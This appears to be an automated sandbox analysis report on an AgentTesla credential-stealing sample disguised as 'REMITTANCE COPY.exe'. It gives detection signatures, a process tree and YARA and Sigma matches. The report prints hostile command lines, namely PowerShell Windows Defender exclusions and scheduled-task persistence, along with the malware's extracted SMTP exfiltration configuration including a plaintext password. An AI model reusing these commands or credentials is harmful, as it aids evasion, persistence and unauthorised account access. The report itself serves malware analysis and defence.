Edit tour

Windows Analysis Report
REMITTANCE COPY.exe

Overview

General Information

Sample name:	REMITTANCE COPY.exe
Analysis ID:	1428765
MD5:	a33320345206b3021eb274e26392b642
SHA1:	ff70bf20c4aa62f509a336f35273941cdc7a065a
SHA256:	eb5262f8a8a005e32de9c99ccc53dbe005836c4a56916cef8d9d32ff2f87a80c
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: MSBuild connects to smtp port

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code contains very large strings

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

REMITTANCE COPY.exe (PID: 5676 cmdline: "C:\Users\user\Desktop\REMITTANCE COPY.exe" MD5: A33320345206B3021EB274E26392B642)

powershell.exe (PID: 5864 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 6112 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 3128 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 3040 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

CNqCubHKvlzbGo.exe (PID: 5988 cmdline: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe MD5: A33320345206B3021EB274E26392B642)

schtasks.exe (PID: 2952 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 736 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.tabcoeng.com", "Username": "tabco@tabcoeng.com", "Password": "TaSq3365!"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2076423787.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.3251502190.0000000002F5E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: REMITTANCE COPY.exe PID: 5676	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: REMITTANCE COPY.exe PID: 5676	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: REMITTANCE COPY.exe PID: 5676	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 3040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 3040	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 736	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x323e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32455:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32571:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3264d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x326e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32773:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x323e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32455:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32571:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3264d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x326e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32773:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.MSBuild.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34255:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34371:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3444d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34573:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x323e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32455:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32571:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3264d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x326e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32773:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.REMITTANCE COPY.exe.3a756f8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REMITTANCE COPY.exe.3a756f8.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REMITTANCE COPY.exe.3a756f8.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x323e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32455:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x324df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32571:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x325db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3264d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x326e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32773:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f803:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34255:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f875:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f8ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34371:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f991:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f9fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3444d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fa6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fb03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34573:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6fb93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f803:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34255:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f875:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f8ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34371:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f991:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f9fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3444d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fa6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fb03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34573:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6fb93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6fa03:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xab023:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34255:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6fa75:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xab095:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6faff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xab11f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34371:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6fb91:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xab1b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fbfb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xab21b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3444d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fc6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xab28d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fd03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xab323:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6fa03:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xab023:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34255:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6fa75:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xab095:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6faff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xab11f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34371:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6fb91:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xab1b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fbfb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xab21b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3444d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fc6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xab28d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fd03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xab323:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 27 entries

Sigma Signatures

Networking

Sigma detected: MSBuild connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 135.181.124.14, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 3040, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\REMITTANCE COPY.exe", ParentImage: C:\Users\user\Desktop\REMITTANCE COPY.exe, ParentProcessId: 5676, ParentProcessName: REMITTANCE COPY.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", ProcessId: 5864, ProcessName: powershell.exe

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 208.95.112.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 3040, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe, ParentImage: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe, ParentProcessId: 5988, ParentProcessName: CNqCubHKvlzbGo.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp", ProcessId: 2952, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\REMITTANCE COPY.exe", ParentImage: C:\Users\user\Desktop\REMITTANCE COPY.exe, ParentProcessId: 5676, ParentProcessName: REMITTANCE COPY.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", ProcessId: 3128, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\REMITTANCE COPY.exe", ParentImage: C:\Users\user\Desktop\REMITTANCE COPY.exe, ParentProcessId: 5676, ParentProcessName: REMITTANCE COPY.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe", ProcessId: 5864, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

